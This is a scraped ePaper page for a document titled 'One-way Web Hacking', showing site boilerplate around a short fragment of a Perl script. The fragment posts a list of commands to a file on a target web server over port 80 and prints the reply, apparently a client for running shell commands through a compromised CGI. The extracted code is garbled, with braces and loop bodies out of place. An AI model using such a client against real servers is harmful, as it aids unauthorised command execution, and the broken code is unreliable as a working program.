12.07.2013 Views

One-way Web Hacking

One-way Web Hacking

One-way Web Hacking

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

# to use this as a generic POST client<br />

$line = "exit\n";<br />

@commands = (@commands, $line);<br />

$content_length += length($line);<br />

# end of block<br />

$| = 1;<br />

($target, $port) = split(/:/, $server);<br />

if($port == 0) {<br />

}<br />

$port = 80;<br />

$server = $target;<br />

httpconnect($server, $port);<br />

post($file, $server, $port, $content_length, @commands);<br />

## uncomment the while loop below<br />

## to suppress the HTTP headers in the response<br />

#while() { # header<br />

# last if($_ eq "\r\n");<br />

#}<br />

while() { # body<br />

}<br />

print $_;<br />

close(S);<br />

exit;

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!